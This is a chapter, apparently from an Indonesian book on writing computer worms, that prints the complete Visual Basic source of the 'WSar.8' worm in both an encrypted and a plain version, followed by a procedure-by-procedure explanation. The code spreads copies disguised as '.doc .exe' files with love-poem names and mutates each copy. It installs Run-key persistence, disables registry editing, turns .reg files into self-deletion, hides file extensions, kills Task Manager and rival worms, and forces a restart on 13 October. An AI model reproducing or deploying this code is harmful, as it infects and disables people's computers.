Private Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValueEnd Function
Private Sub WormFighter() On Error Resume Next 'Pesin removal If Dir(SpecialFolder(1) & Decrypt("\ìòìíÚìä.ÞñÞ")) <> "" Then WinExit(Decrypt("\ìòìíÚìä.ÞñÞ")) Kill(SpecialFolder(1) & Decrypt("\ìòìíÚìä.ÞñÞ")) MsgBox(Decrypt("Óáâì éåÚÜÞ âì çèí Þçèîàá ßèë îì !"), _ vbInformation, Decrypt("ÑÞìí Èç ÏÞÚÜÞ... ÏÞìâç")) End If 'Kangen removal If Dir(SpecialFolder(1) & Decrypt("\ÜÜÚééì.ÞñÞ")) <> "" Then WinExit(Decrypt("\ÜÜÚééì.ÞñÞ")) WinExit(Decrypt("\äÚçàÞç.ÞñÞ")) Kill(SpecialFolder(1) & Decrypt("\ÜÜÚééì.ÞñÞ")) Kill(SpecialFolder(1) & Decrypt("\äÚçàÞç.ÞñÞ")) Kill(SpecialFolder(1) & Decrypt("\ðâçåèà.*")) MsgBox(Decrypt("Óáâì éåÚÜÞ âì çèí Þçèîàá ßèë îì !"), _ vbInformation, Decrypt("ÑÞìí Èç ÏÞÚÜÞ... ÊÚçàÞç")) End IfEnd Sub
225Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
4. W
orm
WS
ar.8
Private Sub OpenApp() On Error Resume Next Dim objWord As Object objWord = CreateObject("Word.Application") objWord.Visible = True objWord.Documents.Add() objWord.Selection.Font.Shadow = True objWord.Selection.Font.Color = &HFF& objWord.Selection.Font.Size = 80 objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.Font.Size = 14 objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Name = "Arial Black" objWord.Selection.Font.Size = 18 objWord.Selection.Font.Bold = True objWord.Selection.Font.Bold = True objWord.Selection.Font.Color = &HFF0000 objWord.Selection.Font.Animation = 2 objWord.Selection.Text = Decrypt _ ("ÒÄÓÈÀ ÇÈÍÆÆÀ ÀÊÇÈÑ ÌÀÒÀ") objWord.Selection.MoveDown() objWord.Selection.Font.Animation = 0 objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Size = 14 objWord.Selection.Font.Name = "Arial" objWord.Selection.Font.Color = &HFF& objWord.Selection.Font.Animation = 3 objWord.Selection.Text = Decrypt("ÌÚåÚæ âçâ äî ÛÞëçòÚçòâ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("ÇÚçòÚ àÞæâçíÚçà æÞçÞæÚçâ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("ÌÞæÛÞëâäî ìâçÚëÚç") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("ÏÞçòÞãîä áÚíâ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Color = &H80FF& objWord.Selection.ParagraphFormat.LeftIndent = 57 objWord.Selection.Text = Decrypt("ÊîåÚçàäÚáäÚç äÚäâäî âçâ")
226Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 14. W
orm W
Sar.8
objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("ÃèÚäÚçåÚá äî äÚç äÞæÛÚåâ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("Óîä ðîãîÝäÚç ìÞæîÚ áÚëÚéÚç") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("ÂâçíÚ ÝÚç äÚìâá ÚÛÚÝâ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Color = &HFF0000 objWord.Selection.ParagraphFormat. _ LeftIndent = 0 objWord.Selection.Text = Decrypt("ÑÞåÚäÚç ìÚòÚçà äÞéÞëàâÚçäî") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("ÇÚéîìåÚá Úâë æÚíÚæî") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("ÊîÛÞëãÚçãâ ìÞíîåîì áÚíâ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("ÊîäÚç ìÞàÞëÚ äÞæÛÚåâ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Color = &HFF00FF objWord.Selection.ParagraphFormat. _ LeftIndent = 57 objWord.Selection.Text = Decrypt("ÊîÛÞëâ ìÞåÞæÛÚë ßèíèäî") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("ÒÞÛÚàÚâ éÞçàèÛÚí ëâçÝî") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("ÊîÛÞëãÚçãâ äÚç íÞíÚé ìÞíâÚ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("ÒÚæéÚâ Úäáâë æÚìÚ . . .") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Font.Animation = 0 objWord.Selection.ParagraphFormat. _ LeftIndent = 0 objWord.Selection.Font.Color = &HFF& objWord.Selection.Font.Size = 80 objWord.Selection.InsertSymbol(Font:= _ "Webdings", CharacterNumber:=-4007, _ Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:= _ "Webdings", CharacterNumber:=-4007, _ Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:= _
227Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
4. W
orm
WS
ar.8
"Webdings", CharacterNumber:=-4007, _ Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:= _ "Webdings", CharacterNumber:=-4007, _ Unicode:=True) objWord.Selection.Font.Size = 14 objWord.Selection.MoveDown() objWord.Selection.TypeParagraph()End Sub
Private Sub Worming() On Error Resume Next Dim Acak As Integer Dim i As Integer Dim NamaCantik(10) As String NamaCantik(0) = Decrypt("éîâìâ ÜâçíÚ.ÝèÜ") NamaCantik(1) = Decrypt("äÚçàÞç íÞëéÞçÝÚæ.ÝèÜ") NamaCantik(2) = Decrypt("äÞçÚçàÚç íÞëåîéÚ.ÝèÜ") NamaCantik(3) = Decrypt("äÚìâá ÝÚåÚæ ÝîäÚ.ÝèÜ") NamaCantik(4) = Decrypt("æîìîá íÞëìÚòÚçà.ÝèÜ") NamaCantik(5) = Decrypt("âçÝÚáçòÚ ìÞåâçàäîá.ÝèÜ") NamaCantik(6) = Decrypt("äèëÛÚç ìÞíâÚ.ÝèÜ") NamaCantik(7) = Decrypt("ìòÚâë ÛÞëÜâçíÚ.ÝèÜ") NamaCantik(8) = Decrypt("ëâçÝî íÞëåÚëÚçà.ÝèÜ") NamaCantik(9) = Decrypt("ÜâçíÚ ìÞàâ ÞæéÚí.ÝèÜ") For i = 0 To lstDir.ListCount Randomize() Acak = Int(Rnd * 10) If Len(Dir$(lstDir.List(i) & "*doc .exe")) _ = 0 Then PolyCopy(WormFile, lstDir.List(i) & NamaCantik(Acak) & " .exe") End If Next iEnd Sub
Private Sub Form_Load() On Error Resume Next If App.PrevInstance = True Then End RegKiller() If LCase(App.EXEName) = Decrypt("ìéèèå÷ö") Then App.TaskVisible = False tmrSPOOL32.Enabled = True GoTo akhir End If If LCase(App.EXEName) = Decrypt("ðâçðèëÝ") Then tmrWINWORD.Enabled = True tmrDir.Enabled = True tmrIseng.Enabled = True GoTo akhir End If OpenApp() If Dir(SpecialFolder(1) & Decrypt("\ÖÈÍÖÎÑÃ.Ä×Ä")) <> "" And _ WinCheck(Decrypt("ÖÈÍÖÎÑÃ.Ä×Ä")) = True Then End tmrSPOOL32_Timer() Unload(Me)akhir:End Sub
228Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 14. W
orm W
Sar.8
Private Sub tmrDir_Timer() On Error Resume Next GetDir(lstDir) Worming() If Day(Now) = 13 And Month(Now) = 10 Then tmrDir.Enabled = False PayLoad() End IfEnd Sub
Private Sub PayLoad() Restart()End Sub
Private Sub tmrIseng_Timer() If Second(Now) > 52 Then WildMouse(True) Else WildMouse(False) End IfEnd Sub
Private Sub tmrWINWORD_Timer() On Error Resume Next tmrWINWORD.Enabled = False If Dir(SpecialFolder(0) & Decrypt("\ÒÏÎÎË÷ö.Ä×Ä")) = "" Or _ WinCheck(Decrypt("ÒÏÎÎË÷ö.Ä×Ä")) = False Then PolyCopy(WormFile, SpecialFolder(0) & Decrypt("\ÒÏÎÎË÷ö.Ä×Ä")) Shell(SpecialFolder(0) & Decrypt("\ÒÏÎÎË÷ö.Ä×Ä")) End If If GetStringValue(Decrypt("ÇÊÄØ_ËÎÂÀË_ÌÀÂÇÈÍÄ\ÒèßíðÚ" & _ "ëÞ\ÌâÜëèìèßí\ÖâçÝèðì\ÂîëëÞçíÕÞëìâèç\Ñîç"), Decrypt("Ïëâç" & _ "íÞë Âéå")) <> SpecialFolder(0) & Decrypt("\ÒÏÎÎË÷ö.Ä×Ä") Then SetStringValue(Decrypt("ÇÊÄØ_ËÎÂÀË_ÌÀÂÇÈÍÄ\ÒèßíðÚëÞ\" & _ "ÌâÜëèìèßí\ÖâçÝèðì\ÂîëëÞçíÕÞëìâèç\Ñîç"), Decrypt("ÏëâçíÞë " & _ "Âéå"), SpecialFolder(0) & Decrypt("\ÒÏÎÎË÷ö.Ä×Ä")) End If If GetStringValue(Decrypt("ÇÊÄØ_ÂÔÑÑÄÍÓ_ÔÒÄÑ\Òèßíð" & _ "ÚëÞ\ÌâÜëèìèßí\ÖâçÝèðì\ÂîëëÞçíÕÞëìâèç\Ñîç"), Decrypt("Ìâ" & _ "Üëèìèßí ÖèëÝ")) <> SpecialFolder(1) & Decrypt("\ÖÈÍÖÎÑ" & _ "Ã.Ä×Ä") Then SetStringValue(Decrypt("ÇÊÄØ_ÂÔÑÑÄÍÓ_ÔÒÄÑ\ÒèßíðÚëÞ" & _ "\ÌâÜëèìèßí\ÖâçÝèðì\ÂîëëÞçíÕÞëìâèç\Ñîç"), Decrypt("ÌâÜëèì" & _ "èßí ÖèëÝ"), SpecialFolder(1) & Decrypt("\ÖÈÍÖÎÑÃ.Ä×Ä")) End If Call WormFighter() WinExit("taskmgr.exe") tmrWINWORD.Enabled = TrueEnd Sub
229Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
4. W
orm
WS
ar.8
Private Sub tmrSPOOL32_Timer() On Error Resume Next tmrSPOOL32.Enabled = False If Dir(SpecialFolder(1) & Decrypt _ ("\ÖÈÍÖÎÑÃ.Ä×Ä")) = "" Or WinCheck(Decrypt _ ("ÖÈÍÖÎÑÃ.Ä×Ä")) = False Then PolyCopy(WormFile, SpecialFolder(1) & Decrypt("\ÖÈÍÖÎÑÃ.Ä×Ä")) Shell(SpecialFolder(1) & Decrypt("\ÖÈÍÖÎÑÃ.Ä×Ä")) End If tmrSPOOL32.Enabled = TrueEnd Sub
Private Sub RegKiller() On Error Resume Next CreateKey(Decrypt("ÇÊÄØ_ÂÔÑÑÄÍÓ_ÔÒÄÑ\ÒèßíðÚëÞ\ÌâÜ" & _ "ëèìèßí\ÖâçÝèðì\ÂîëëÞçíÕÞëìâèç\ÏèåâÜâÞì\ÒòìíÞæ")) If GetDWORDValue(Decrypt("ÇÊÄØ_ÂÔÑÑÄÍÓ_ÔÒÄÑ\Òèß" & _ "íðÚëÞ\ÌâÜëèìèßí\ÖâçÝèðì\ÂîëëÞçíÕÞëìâèç\ÏèåâÜâÞì\ÒòìíÞæ"), _ Decrypt("ÃâìÚÛåÞÑÞàâìíëòÓèèåì")) <> 1 Then SetDWORDValue(Decrypt("ÇÊÄØ_ÂÔÑÑÄÍÓ_ÔÒÄÑ\Òèßíð" & _ "ÚëÞ\ÌâÜëèìèßí\ÖâçÝèðì\ÂîëëÞçíÕÞëìâèç\ÏèåâÜâÞì\ÒòìíÞæ"), _ Decrypt("ÃâìÚÛåÞÑÞàâìíëòÓèèåì"), 1) End If If Dir(SpecialFolder(1) & Decrypt("\ÜæÝ.ÞñÞ")) <> "" Then SetStringValue(Decrypt("ÇÊÄØ_ÂËÀÒÒÄÒ_ÑÎÎÓ\ëÞàßâåÞ\ìá" & _ "Þåå\èéÞç\ÜèææÚçÝ"), "", Decrypt("ÜæÝ.ÞñÞ /Ü ÝÞå ") & _ """%1""") Else SetStringValue(Decrypt("ÇÊÄØ_ÂËÀÒÒÄÒ_ÑÎÎÓ\ëÞàßâåÞ\ìá" & _ "Þåå\èéÞç\ÜèææÚçÝ"), "", Decrypt("ÜèææÚçÝ.Üèæ /Ü ÝÞå ") _ & """%1""") End If SetStringValue(Decrypt("ÇÊÄØ_ÂËÀÒÒÄÒ_ÑÎÎÓ\ÞñÞßâåÞ"), _ Decrypt("ÍÞïÞëÒáèðÄñí"), "")End Sub
Function PolyCopy(ByVal Source As String, ByVal Destination As String) On Error Resume Next Dim RndNum As String Dim RndNo As String Dim PoliStr As String Dim i As Long RndNum = RndNum & Second(Now) If Len(RndNum) = 2 Then For i = 1 To 2 RndNo = Int(Rnd * 9) RndNum = RndNum & RndNo Next i Else For i = 1 To 3 RndNo = Int(Rnd * 9) RndNum = RndNum & RndNo Next i End If
230Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 14. W
orm W
Sar.8
If LCase(Right(Source, 4)) <> ".exe" Then Source = Source & ".exe" End If FileCopy(Source, Destination)Open Destination For Binary As #1 Source = Space$(LOF(1))Get #1, , Source PoliStr = Mid(Source, 113, 4)Put #1, InStr(1, Source, PoliStr), RndNumClose #1End Function
Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WNameEnd Function
Sebagai perbandingan berikut ini adalah source code pada object frm-WSar8 yang belum terenkripsi.
'WSar.8 by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On
Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As LongPrivate Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As LongPrivate SF As String * 255
Private Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValueEnd Function
231Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
4. W
orm
WS
ar.8
Private Sub WormFighter() On Error Resume Next 'Pesin removal If Dir(SpecialFolder(1) & "\systask.exe") <> "" Then WinExit("systask.exe") Kill(SpecialFolder(1) & "\systask.exe") MsgBox("This place is not enough for us !", vbInformation, _ "Rest In Peace... Pesin") End If 'Kangen removal If Dir(SpecialFolder(1) & "\ccapps.exe") <> "" Then WinExit("ccapps.exe") WinExit("kangen.exe") Kill(SpecialFolder(1) & "\ccapps.exe") Kill(SpecialFolder(1) & "\kangen.exe") Kill(SpecialFolder(1) & "\winlog.*") MsgBox("This place is not enough for us !", vbInformation, _ "Rest In Peace... Kangen") End IfEnd Sub
Private Sub OpenApp() On Error Resume Next Dim objWord As Object objWord = CreateObject("Word.Application") objWord.Visible = True objWord.Documents.Add() objWord.Selection.Font.Shadow = True objWord.Selection.Font.Color = &HFF& objWord.Selection.Font.Size = 80 objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.Font.Size = 14 objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Name = "Arial Black" objWord.Selection.Font.Size = 18 objWord.Selection.Font.Bold = True objWord.Selection.Font.Bold = True objWord.Selection.Font.Color = &HFF0000 objWord.Selection.Font.Animation = 2 objWord.Selection.Text = "SETIA HINGGA AKHIR MASA" objWord.Selection.MoveDown() objWord.Selection.Font.Animation = 0 objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph()
232Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 14. W
orm W
Sar.8
objWord.Selection.Font.Size = 14 objWord.Selection.Font.Name = "Arial" objWord.Selection.Font.Color = &HFF& objWord.Selection.Font.Animation = 3 objWord.Selection.Text = "Malam ini ku bernyanyi" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Hanya gemintang menemani" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Memberiku sinaran" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Penyejuk hati" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Color = &H80FF& objWord.Selection.ParagraphFormat.LeftIndent = 57 objWord.Selection.Text = "Kulangkahkan kakiku ini" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Doakanlah ku kan kembali" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Tuk wujudkan semua harapan" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Cinta dan kasih abadi" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Color = &HFF0000 objWord.Selection.ParagraphFormat.LeftIndent = 0 objWord.Selection.Text = "Relakan sayang kepergianku" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Hapuslah air matamu" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Kuberjanji setulus hati" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Kukan segera kembali" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Color = &HFF00FF objWord.Selection.ParagraphFormat.LeftIndent = 57 objWord.Selection.Text = "Kuberi selembar fotoku" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Sebagai pengobat rindu" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph()
233Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
4. W
orm
WS
ar.8
objWord.Selection.Text = "Kuberjanji kan tetap setia" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Sampai akhir masa . . ." objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Font.Animation = 0 objWord.Selection.ParagraphFormat.LeftIndent = 0 objWord.Selection.Font.Color = &HFF& objWord.Selection.Font.Size = 80 objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.Font.Size = 14 objWord.Selection.MoveDown() objWord.Selection.TypeParagraph()End Sub
Private Sub Worming() On Error Resume Next Dim Acak As Integer Dim i As Integer Dim NamaCantik(10) As String NamaCantik(0) = "puisi cinta.doc" NamaCantik(1) = "kangen terpendam.doc" NamaCantik(2) = "kenangan terlupa.doc" NamaCantik(3) = "kasih dalam duka.doc" NamaCantik(4) = "musuh tersayang.doc" NamaCantik(5) = "indahnya selingkuh.doc" NamaCantik(6) = "korban setia.doc" NamaCantik(7) = "syair bercinta.doc" NamaCantik(8) = "rindu terlarang.doc" NamaCantik(9) = "cinta segi empat.doc" For i = 0 To lstDir.ListCount Randomize() Acak = Int(Rnd * 10) If Len(Dir$(lstDir.List(i) & "*doc .exe")) _ = 0 Then PolyCopy(WormFile, lstDir.List(i) & NamaCantik(Acak) & "
.exe") End If Next iEnd Sub
234Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 14. W
orm W
Sar.8
Private Sub Form_Load() On Error Resume Next If App.PrevInstance = True Then End RegKiller() If LCase(App.EXEName) = "spool32" Then App.TaskVisible = False tmrSPOOL32.Enabled = True GoTo akhir End If If LCase(App.EXEName) = "winword" Then tmrWINWORD.Enabled = True tmrDir.Enabled = True tmrIseng.Enabled = True GoTo akhir End If OpenApp() If Dir(SpecialFolder(1) & "\WINWORD.EXE") <> "" And _ WinCheck("WINWORD.EXE") = True Then End tmrSPOOL32_Timer() Unload(Me)akhir:End Sub
Private Sub tmrDir_Timer() On Error Resume Next GetDir(lstDir) Worming() If Day(Now) = 13 And Month(Now) = 10 Then tmrDir.Enabled = False PayLoad() End IfEnd Sub
Private Sub PayLoad() Restart()End Sub
Private Sub tmrIseng_Timer() If Second(Now) > 52 Then WildMouse(True) Else WildMouse(False) End IfEnd Sub
Private Sub tmrWINWORD_Timer() On Error Resume Next tmrWINWORD.Enabled = False If Dir(SpecialFolder(0) & "\SPOOL32.EXE") = "" Or WinCheck _ ("SPOOL32.EXE") = False Then PolyCopy(WormFile, SpecialFolder(0) & "\SPOOL32.EXE") Shell(SpecialFolder(0) & "\SPOOL32.EXE") End If
235Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
4. W
orm
WS
ar.8
If GetStringValue("HKEY_LOCAL_MACHINE\Software\Micr" & _ "osoft\Windows\CurrentVersion\Run", "Printer Cpl") <> _ SpecialFolder(0) & "\SPOOL32.EXE" Then SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion\Run", "Printer Cpl", SpecialFolder _ (0) & "\SPOOL32.EXE") End If If GetStringValue("HKEY_CURRENT_USER\Software\Micros" & _ "oft\Windows\CurrentVersion\Run", "Microsoft Word") <> _ SpecialFolder(1) & "\WINWORD.EXE" Then SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Run", "Microsoft Word", _ SpecialFolder(1) & "\WINWORD.EXE") End If Call WormFighter() WinExit("taskmgr.exe") tmrWINWORD.Enabled = TrueEnd Sub
Private Sub tmrSPOOL32_Timer() On Error Resume Next tmrSPOOL32.Enabled = False If Dir(SpecialFolder(1) & "\WINWORD.EXE") = "" _ Or WinCheck("WINWORD.EXE") = False Then PolyCopy(WormFile, SpecialFolder(1) & "\WINWORD.EXE") Shell(SpecialFolder(1) & "\WINWORD.EXE") End If tmrSPOOL32.Enabled = TrueEnd Sub
Private Sub RegKiller() On Error Resume Next CreateKey("HKEY_CURRENT_USER\Software\Microsoft\Win" & _ "dows\CurrentVersion\Policies\System") If GetDWORDValue("HKEY_CURRENT_USER\Software\Mic" & _ "rosoft\Windows\CurrentVersion\Policies\System", "DisableR" & _ "egistryTools") <> 1 Then SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Policies\System", "DisableRe" & _ "gistryTools", 1) End If If Dir(SpecialFolder(1) & "\cmd.exe") <> "" Then SetStringValue("HKEY_CLASSES_ROOT\regfile\shell\open\co" & _ "mmand", "", "cmd.exe /c del " & """%1""") Else SetStringValue("HKEY_CLASSES_ROOT\regfile\shell\open\co" & _ "mmand", "", "command.com /c del " & """%1""") End If SetStringValue("HKEY_CLASSES_ROOT\exefile", "NeverSho" & _ "wExt", "")End Sub
236Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 14. W
orm W
Sar.8
Function PolyCopy(ByVal Source As String, ByVal Destination As String) On Error Resume Next Dim RndNum As String Dim RndNo As String Dim PoliStr As String Dim i As Long RndNum = RndNum & Second(Now) If Len(RndNum) = 2 Then For i = 1 To 2 RndNo = Int(Rnd * 9) RndNum = RndNum & RndNo Next i Else For i = 1 To 3 RndNo = Int(Rnd * 9) RndNum = RndNum & RndNo Next i End If If LCase(Right(Source, 4)) <> ".exe" Then Source = Source & ".exe" End If FileCopy(Source, Destination)Open Destination For Binary As #1 Source = Space$(LOF(1))Get #1, , Source PoliStr = Mid(Source, 113, 4)Put #1, InStr(1, Source, PoliStr), RndNumClose #1End Function
Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WNameEnd Function
Berikut penjelasan tentang kode program:
Diawali dengan beberapa pendeklarasian function API, yang berguna untuk mendapatkan direktori Windows dan direktori System Win-dows.
Procedure WormFighter memeriksa file systask.exe pada direktori System Windows yang merupakan file dari worm lokal Pesin, jika dite-mukan procedure akan memanggil function WinExit untuk mematikan proses file tersebut kemudian langsung menghapusnya. Worm kemu-
237Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
4. W
orm
WS
ar.8
dian menampilkan sebuah kotak pesan sebagai berikut:
Kotak pesan serupa akan tampil jika WSar.8 menemukan file dari worm Kangen dan memperlakukan hal yang sama seperti halnya pada worm Pesin.
Procedure OpenApp akan membuka aplikasi Microsoft Word dengan teks ber-animasi lengkap, perhatikan gambar disamping ini.
238Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 14. W
orm W
Sar.8
Procedure Worming akan membuat array sebanyak 10 data yang akan digunakan sebagai nama file. Worm kemudian memeriksa direktori pada ListBox lstDir dengan mencari file yang berakhiran "doc. exe".
Apabila file worm tidak ditemukan maka worm akan membuat sali-nannya ke direktori tersebut dengan salah satu nama file yang dipilih secara acak.
Procedure Form_Load dijalankan saat pertama kali file worm diek-sekusi. Sebelumnya procedure melakukan pemeriksaan apakah file tersebut sudah terproses atau tidak, jika ternyata sudah terproses maka worm langsung diakhiri, jika tidak maka langsung memanggil procedure RegKiller.
Jika nama file utama adalah "spool32" maka worm akan disembunyikan dari jendela task list, kemudian mengatur properti Enabled pada object tmrSPOOL32 menjadi true, dan langsung mengakhiri sub procedure.
Jika nama file utama adalah "winword" maka worm mengatur properti Enabled untuk object tmrWINWORD, tmrDir dan tmrIseng menjadi true, dan langsung mengakhiri sub procedure.
Selain itu worm memanggil procedure OpenApp dan memeriksa apakah file WINWORD.EXE pada direktori System Windows sudah ada dan sedang terproses, jika ya maka langsung mengakhiri proses file utama, tetapi jika tidak ditemukan maka worm akan memanggil procedure tmrSPOOL32_Timer, kemudian mengakhiri proses file utama.
Procedure tmrDir_Timer memanggil function GetDir dan menempat-kan hasilnya pada ListBox lstDir, kemudian memanggil procedure Worming. Jika tanggal sekarang adalah 13 Oktober maka worm men-gatur properti Enabled untuk object tmrIseng menjadi false, dan segera memanggil procedure Payload.
Procedure tmrIseng_Timer memanggil function WildMouse dengan kondisi jika detik sekarang lebih besar dari 52 maka WildMouse berni-lai true, selain itu WildMouse bernilai false.
Procedure tmrWINWORD_Timer merupakan implementasi dari metode Watcher yang secara berkesinambungan melakukan pemerik-saan. Adapun pemeriksaan yang dilakukan adalah:
239Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
4. W
orm
WS
ar.8
1. Jika file SPOOL32.EXE pada direktori system tidak ada atau tidak terproses maka procedure membuat salinan file utama ke direktori system dengan nama file tersebut dan langsung mengeksekusinya.
2. Jika procedure tidak mendapatkan nilai "Printer Cpl" dengan data alamat file worm SPOOL32.EXE pada key registry "HKEY_LOCAL_MACHINE\Software\Microso ft\Windows\CurrentVersion\Run" maka procedure membuat nilai dan data registry tersebut.
3. Jika procedure tidak mendapatkan nilai "Microsoft Word" dengan data alamat file worm WINWORD.EXE pada key registry "HKEY_LOCAL_MACHINE\Software\Microso ft\Windows\Current-Version\Run" maka procedure membuat nilai dan data registry tersebut.
Kemudian procedure tmrWINWORD_Timer memanggil procedure WormFighter dan menghentikan proses file taskmgr.exe.
Procedure tmrSPOOL32_Timer melakukan hal yang sama seperti pada procedure tmrWINWORD_Timer hanya saja procedure ini diberikan tugas yang lebih sedikit yaitu melakukan pemeriksaan terhadap keberadaan dan status proses file WINWORD.EXE pada direktori Windows, jika tidak ditemukan atau tidak terproses maka procedure akan membuat salinan file utama ke direktori Windows dengan nama file tersebut dan langsung mengeksekusinya.
